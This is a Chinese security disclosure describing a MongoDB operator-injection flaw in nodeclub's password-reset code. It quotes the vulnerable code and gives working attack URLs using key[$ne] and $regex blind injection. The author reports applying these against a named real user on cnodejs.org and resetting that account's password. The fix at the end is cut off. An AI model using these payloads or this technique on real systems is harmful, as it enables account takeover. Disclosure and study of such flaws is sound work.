nodeclub注入漏洞可重置用户密码
这个nodeclub(
https://github.com/cnodejs/nodeclub/)可能用的人不多,弄着玩一下从github上下载nodeclub的源码。\controllers\sign.js
?
1
2
3
4
5
6
7
8exports.reset_pass = function (req, res, next) {
var key = req.query.key;
var name = req.query.name;
User.getUserByNameAndKey(name, key, function (err, user) {
if (!user) {
res.status(403);
return res.render('notify/notify', {error: '信息有误,密码无法重置。'});
}
可以看到,key和name未经判断进入了 User的 getUserByNameAndKey\proxy\user.js
exports.getUserByNameAndKey = function (loginname, key, callback) {
User.findOne({loginname: loginname, retrieve_key: key}, callback);
};
为了测试这个问题,首先,我们把目标定为 cnodejs 的管理者之一 alsotang,从他的github上可以知道他的邮箱是 alsotang@gmail.com然后在
https://cnodejs.org/search_pass找回密码,
接着,根据之前的问题,不难简单的构造出以下请求。
https://cnodejs.org/reset_pass?name=alsotang&key[$ne]=111111111其中,name是目标用户名,让key不等于1111111,此时会返回一个正常的页面。
如果,我们随便设置一个key,例如:
https://cnodejs.org/reset_pass?name=alsotang&key=111111111则会返回一个错误的页面:
如此一来,我们就可以对key参数通过 $regex来进行盲注。例如:
https://cnodejs.org/reset_pass?name[$regex]=^alsotang&key[$regex]=^5 返回正常
https://cnodejs.org/reset_pass?name[$regex]=^alsotang&key[$regex]=^6返回错误
https://cnodejs.org/reset_pass?name[$regex]=^alsotang&key[$regex]=^5f返回正常....测试代码:见“测试代码”部分。运行程序后,
跑出的key:
然后拿着key去重置密码,密码被重置为 wooyun,登录后~~
见:
https://cnodejs.org/user/alsotang 个人介绍。
解决方案:
exports.reset_pass = function (req, res, next) {var key = req.query.key; var name = req.query.name;..